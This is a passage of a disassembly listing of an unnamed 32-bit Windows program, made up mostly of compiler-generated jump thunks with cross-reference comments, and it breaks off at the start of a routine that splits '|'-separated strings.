		jmp	sub_417BD0
sub_401EE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE7	proc near		; CODE XREF: sub_40A8A0+13p
		jmp	loc_40A9E0
sub_401EE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EEC	proc near		; CODE XREF: sub_41B110:loc_41B15Cp
					; sub_41BA00+54p ...
		jmp	sub_419950
sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EF1	proc near		; CODE XREF: ___:00414345p
		jmp	sub_415520
sub_401EF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EF6	proc near		; CODE XREF: sub_415760+34p
					; sub_416270+67p
		jmp	sub_416410
sub_401EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EFB	proc near		; CODE XREF: sub_415380+3p
					; ___:00415AFFp ...
		jmp	sub_415DB0
sub_401EFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F00	proc near
		jmp	sub_412C90
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F05	proc near		; CODE XREF: sub_4131A0+4Dp
		jmp	sub_415400
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_4070F0+5Cp
					; sub_418F10+3p
		jmp	sub_407310
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:004191B3p
		jmp	sub_419220
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F14	proc near		; CODE XREF: ___:0040BFAAp
		jmp	sub_40C2E0
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: ___:0042B1FFp
		jmp	sub_42AE50
sub_401F19	endp

; ---------------------------------------------------------------------------


loc_401F1E:				; DATA XREF: ___:off_43E08Co
		jmp	loc_434940
; ---------------------------------------------------------------------------


loc_401F23:				; DATA XREF: ___:00424144o
		jmp	loc_423CC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: ___:00416B1Bp
					; ___:00439FF0j ...
		jmp	sub_417AF0
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F2D	proc near		; CODE XREF: sub_413BF0+99p
		jmp	sub_413DC0
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: sub_40B420+3Dp
					; ___:0040BBBDp ...
		jmp	sub_40B790
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:loc_423D57p
		jmp	sub_4237D0
sub_401F37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F3C	proc near		; CODE XREF: sub_404C70+A38p
		jmp	sub_406890
sub_401F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F41	proc near		; DATA XREF: ___:off_43E1A0o
		jmp	sub_42B3F0
sub_401F41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F46	proc near		; CODE XREF: sub_413A30+72p
		jmp	sub_4136F0
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_4183E0+5Fp
					; sub_4189F0+1Ap ...
		jmp	sub_418A60
sub_401F4B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F040

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: sub_42E4A0+B5p
		jmp	sub_42D360
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_40B5B0+4Bp
					; sub_40B5B0:loc_40B63Bp ...
		jmp	sub_40BED0
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F5F	proc near
		jmp	sub_41E4B0
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F64	proc near		; CODE XREF: sub_40A4C0+142p
		jmp	sub_40A8A0
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_404640+35Dp
					; sub_404640+39Ep
		jmp	sub_404B10
sub_401F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F6E	proc near		; CODE XREF: sub_415E80+9p
					; sub_415F20+18p
		jmp	sub_416780
sub_401F6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_431BD0+1Bp
		jmp	sub_431C80
sub_401F73	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B070

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F7D	proc near		; CODE XREF: sub_4264F0+1Dp
					; sub_426A40+1Dp ...
		jmp	sub_426560
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_427E60+1Dp
					; sub_428200+1Fp ...
		jmp	sub_427ED0
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: ___:00429E13p
		jmp	sub_429E40
sub_401F87	endp

; ---------------------------------------------------------------------------
		jmp	loc_406BD0
; ---------------------------------------------------------------------------
		jmp	loc_40D4F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F96	proc near		; CODE XREF: sub_409690+112p
					; sub_409690+153p
		jmp	sub_4099D0
sub_401F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_4226B0+5p
		jmp	sub_422820
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_407340+5p
		jmp	sub_4074F0
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: sub_4136F0+6Fp
					; sub_4136F0+DBp ...
		jmp	sub_415380
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B8D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FAF	proc near		; CODE XREF: sub_415290+6Ap
					; sub_415C90+32p
		jmp	sub_415BD0
sub_401FAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near
		jmp	sub_40F0B0
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_412BA0+3p
		jmp	sub_412BD0
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_404640+48p
					; sub_404640+5Dp ...
		jmp	sub_409DB0
sub_401FBE	endp

; ---------------------------------------------------------------------------
		jmp	loc_419A00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC8	proc near		; CODE XREF: sub_41A190+3p
					; sub_41B0F0+9j ...
		jmp	sub_41A1C0
sub_401FC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FCD	proc near		; CODE XREF: sub_40BD40+34p
					; sub_40C1B0+67p
		jmp	sub_40C0D0
sub_401FCD	endp

; ---------------------------------------------------------------------------
		jmp	loc_432730
; ---------------------------------------------------------------------------


loc_401FD7:				; DATA XREF: ___:off_43E094o
		jmp	loc_435320

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near
		jmp	sub_40F130
sub_401FDC	endp

; ---------------------------------------------------------------------------
		jmp	loc_4363A0
; ---------------------------------------------------------------------------


loc_401FE6:				; DATA XREF: ___:0043E03Co
		jmp	loc_41EE60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FEB	proc near		; CODE XREF: sub_41F910+5Ap
		jmp	sub_41FFF0
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_430420

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FF5	proc near		; CODE XREF: ___:00416ADBp
					; ___:0043A028j ...
		jmp	sub_417BB0
sub_401FF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FFA	proc near		; CODE XREF: ___:00416E2Fp
		jmp	sub_4131A0
sub_401FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFF	proc near		; CODE XREF: sub_421B30+5p
		jmp	sub_422030
sub_401FFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402004	proc near		; CODE XREF: ___:00421704p
		jmp	sub_41C050
sub_402004	endp

; ---------------------------------------------------------------------------
off_402009	dd offset byte_4BC2E9	; DATA XREF: ___:off_43E008o
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40200E	proc near		; CODE XREF: sub_404640+2CEp
					; sub_404C70+46Fp ...
		jmp	sub_40A700
sub_40200E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4331C0
; ---------------------------------------------------------------------------
		jmp	sub_41B480

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_422420+Ap
		jmp	sub_422700
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: sub_404C70+7E7p
		jmp	sub_41BA00
sub_402022	endp

; ---------------------------------------------------------------------------


loc_402027:				; DATA XREF: ___:off_43E014o
		jmp	loc_40AE70
; ---------------------------------------------------------------------------


loc_40202C:				; DATA XREF: ___:off_43E088o
		jmp	loc_42BF00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402031	proc near		; CODE XREF: ___:0040AE73p
					; ___:0040FF5Ep ...
		jmp	sub_40AEA0
sub_402031	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402036	proc near		; CODE XREF: sub_4248D0+109p
					; sub_4248D0+178p ...
		jmp	sub_4247B0
sub_402036	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40203B	proc near		; CODE XREF: sub_409970+7p
		jmp	sub_409A60
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_416710+Ap
		jmp	sub_416920
sub_402040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402045	proc near
		jmp	sub_40CBA0
sub_402045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204A	proc near		; CODE XREF: ___:0042EF8Bp
					; sub_42FE70+EAp
		jmp	sub_4330D0
sub_40204A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: sub_421A10+5p
					; sub_421B00+6p ...
		jmp	sub_421FA0
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_40FFE0+8ADp
					; sub_40FFE0+95Ep ...
		jmp	sub_411A10
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402059	proc near		; CODE XREF: sub_40C0D0+7p
		jmp	sub_40C2C0
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40205E	proc near		; CODE XREF: sub_4189F0+34p
					; sub_418F40+67p
		jmp	sub_418D50
sub_40205E	endp

; ---------------------------------------------------------------------------
		jmp	loc_409BA0
; ---------------------------------------------------------------------------


loc_402068:				; DATA XREF: ___:off_43E13Co
		jmp	loc_428060

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_4170D0+2Bp
					; sub_4170D0+3Bp ...
		jmp	sub_403EE0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_409860+14p
		jmp	sub_4098C0
sub_402072	endp

; ---------------------------------------------------------------------------
		jmp	loc_432070

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40207C	proc near		; CODE XREF: sub_427B70:loc_427D7Bp
		jmp	sub_427A90
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	sub_4266F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402086	proc near		; CODE XREF: sub_4183E0+4Dp
		jmp	sub_418B20
sub_402086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_4151E0+5p
					; sub_4153A0+6p ...
		jmp	sub_415D90
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_4266F0+3p
		jmp	sub_426720
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B1A0
; ---------------------------------------------------------------------------
		jmp	loc_4216D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40209F	proc near		; CODE XREF: ___:00416DFFp
		jmp	sub_407030
sub_40209F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_4136F0+83p
					; sub_414550+91p ...
		jmp	sub_4153A0
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; DATA XREF: ___:0043E054o
		jmp	sub_41EFE0
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_40AA80+144p
		jmp	sub_40AD90
sub_4020AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B3	proc near		; CODE XREF: sub_42FFF0+BAp
					; sub_432A20+36p
		jmp	sub_432A90
sub_4020B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B8	proc near		; CODE XREF: sub_421EA0+23p
					; sub_4222F0+11p
		jmp	sub_422490
sub_4020B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: sub_422190+4p
		jmp	sub_4225A0
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_42A8B0+3BBp
		jmp	sub_42A4E0
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; CODE XREF: ___:0041A2C2p
		jmp	sub_41A360
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_416810+Ap
		jmp	sub_416970
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; DATA XREF: ___:off_43E18Co
		jmp	sub_42B370
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020D6	proc near		; CODE XREF: sub_415D20+4p
		jmp	sub_416540
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: ___:0042F556p
					; ___:0042F5B8p ...
		jmp	sub_433880
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_418DD0+8p
		jmp	sub_419070
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020E5	proc near		; CODE XREF: sub_418940+34p
					; sub_418E30+67p
		jmp	sub_418C50
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_41A780+117p
		jmp	sub_41A910
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; CODE XREF: sub_415B50+35p
		jmp	sub_416620
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F4	proc near		; CODE XREF: sub_404C70+459p
					; sub_4066E0+43p ...
		jmp	sub_409C50
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F9	proc near		; CODE XREF: sub_40BDB0+5p
					; sub_40BEF0+6p ...
		jmp	sub_40C0F0
sub_4020F9	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F650

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: ___:00416F2Ap
		jmp	sub_419160
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: ___:00429AD3p
		jmp	sub_429B00
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_40FFE0+F3Dp
					; sub_40FFE0+1392p ...
		jmp	sub_414850
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_413A30+38p
					; sub_413E20+5Fp
		jmp	sub_413590
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40A1C0+14p
					; sub_40A1F0+7p ...
		jmp	sub_40A210
sub_402117	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40211C	proc near		; CODE XREF: sub_42A1F0+157p
		jmp	sub_429DA0
sub_40211C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402121	proc near		; CODE XREF: sub_40AC70+1Ap
					; sub_40ACC0+1Ap
		jmp	sub_40AD30
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: sub_4156A0+3p
					; ___:00415ECFp ...
		jmp	sub_416100
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; DATA XREF: ___:0043E02Co
		jmp	sub_40FFE0
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_414850+EDp
		jmp	sub_4158D0
sub_402130	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B440

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_40BEB0+3p
		jmp	sub_40C130
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40BF50+11p
					; ___:0040BF77p ...
		jmp	sub_40C270
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_41E710+2C5p
		jmp	sub_420890
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; CODE XREF: sub_41D8E0+64Fp
		jmp	sub_41C120
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40214E	proc near		; CODE XREF: sub_418C70+32p
		jmp	sub_418F40
sub_40214E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402153	proc near		; CODE XREF: sub_40ECB0+ACp
					; ___:0040F3DDp
		jmp	sub_40EDF0
sub_402153	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_413860+93p
		jmp	sub_433AC0
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40215D	proc near		; CODE XREF: sub_415250+1Fp
					; sub_415B50+2Cp
		jmp	sub_415AB0
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: ___:004254BDp
		jmp	sub_425480
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402167	proc near		; CODE XREF: sub_4205E0+17Dp
		jmp	sub_421A80
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40216C	proc near		; CODE XREF: ___:0042C301p
		jmp	sub_42A130
sub_40216C	endp

; ---------------------------------------------------------------------------


loc_402171:				; DATA XREF: ___:off_43E010o
		jmp	loc_409BA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_40AA80+6Ap
					; sub_40AA80+103p
		jmp	sub_40ACC0
sub_402176	endp

; ---------------------------------------------------------------------------
		jmp	loc_4266C0
; ---------------------------------------------------------------------------
		jmp	loc_41ACB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402185	proc near		; CODE XREF: sub_407220+14p
					; sub_407260+9p ...
		jmp	sub_4074C0
sub_402185	endp

; ---------------------------------------------------------------------------
		jmp	loc_416D90

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218F	proc near		; CODE XREF: sub_40B090+1Bp
		jmp	sub_432B70
sub_40218F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: ___:00415B0Ap
		jmp	sub_416590
sub_402194	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402199	proc near		; CODE XREF: sub_42F750+ABp
					; sub_430730+1Bp ...
		jmp	sub_4307A0
sub_402199	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EB30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021A3	proc near		; CODE XREF: ___:0040871Fp
					; ___:00408741p ...
		jmp	sub_419970
sub_4021A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021A8	proc near		; DATA XREF: ___:0043E130o
					; ___:0043E140o ...
		jmp	sub_42C7B0
sub_4021A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021AD	proc near		; CODE XREF: sub_40B5B0+55p
		jmp	sub_40A060
sub_4021AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; DATA XREF: ___:off_43E14Co
		jmp	sub_4282C0
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021B7	proc near		; CODE XREF: sub_421BA0+34p
					; sub_4224C0+67p
		jmp	sub_4221E0
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4070F0+2Cp
					; sub_4070F0+68p ...
		jmp	sub_407260
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_433490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021C6	proc near		; CODE XREF: sub_41C6C0+1B3p
					; sub_41C6C0+332p ...
		jmp	sub_41D720
sub_4021C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021CB	proc near		; CODE XREF: sub_40BD00+11p
					; sub_40BF50+1Fp
		jmp	sub_40C080
sub_4021CB	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F690

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; CODE XREF: sub_424680+1Ap
					; sub_424760+1Bp ...
		jmp	sub_4244B0
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DA	proc near		; CODE XREF: ___:00416A6Bp
		jmp	sub_4189F0
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DF	proc near
		jmp	sub_42BC10
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_42ED20
; ---------------------------------------------------------------------------
		jmp	loc_42EEB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021EE	proc near		; CODE XREF: sub_433200+1Bp
		jmp	sub_433270
sub_4021EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F3	proc near		; CODE XREF: sub_42E4A0+101p
		jmp	sub_42DDF0
sub_4021F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; DATA XREF: ___:off_43E00Co
		jmp	sub_4071C0
sub_4021F8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E370
; ---------------------------------------------------------------------------
		jmp	locret_4188F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402207	proc near		; CODE XREF: sub_4036D0+25p
					; sub_4036D0+35p ...
		jmp	sub_403C90
sub_402207	endp

; ---------------------------------------------------------------------------
		jmp	loc_4331A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_4183E0+88p
					; sub_4183E0+98p
		jmp	sub_418B40
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: ___:00416B6Bp
					; ___:00439FAAj ...
		jmp	sub_417820
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; CODE XREF: sub_418B90+5p
		jmp	sub_418E00
sub_40221B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402220	proc near		; CODE XREF: sub_4146C0+3p
		jmp	sub_4146F0
sub_402220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402225	proc near		; CODE XREF: ___:0042F39Bp
					; ___:0042FCC7p ...
		jmp	sub_430B70
sub_402225	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; DATA XREF: ___:off_43E11Co
		jmp	sub_4276A0
sub_40222A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222F	proc near		; CODE XREF: sub_42F8E0+102p
					; sub_4317D0+5Dp ...
		jmp	sub_4308B0
sub_40222F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_413590+5Cp
					; sub_413590+C0p ...
		jmp	sub_4154F0
sub_402234	endp

; ---------------------------------------------------------------------------
		jmp	loc_4314B0
; ---------------------------------------------------------------------------
		jmp	loc_42F210

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_41D8E0+203p
		jmp	sub_42D170
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: sub_42E4A0+148p
					; sub_42E4A0+173p
		jmp	sub_42DD10
sub_402248	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E240

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_413450+34p
					; sub_414850+40p
		jmp	sub_4159A0
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_40CC40+1A4p
					; sub_40CFF0+ADp
		jmp	sub_40CFF0
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402261	proc near		; CODE XREF: sub_422AF0+938p
		jmp	loc_424030
sub_402261	endp

; ---------------------------------------------------------------------------
		jmp	loc_419B40
; ---------------------------------------------------------------------------


loc_40226B:				; CODE XREF: ___:00438D86j
		jmp	loc_40CF70
; ---------------------------------------------------------------------------
		db 1270h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4034E0	proc near		; CODE XREF: sub_4019B5j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_4034E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403539
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40352A:				; CODE XREF: sub_4034E0+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40352A


loc_403539:				; CODE XREF: sub_4034E0+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_401424
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401861
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_401A87
		push	offset byte_446F30
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401861
		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_403591:				; CODE XREF: sub_4034E0+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_4035E7
		lea	ecx, [esp+478h+var_438]
		call	sub_401681
		dec	ebp
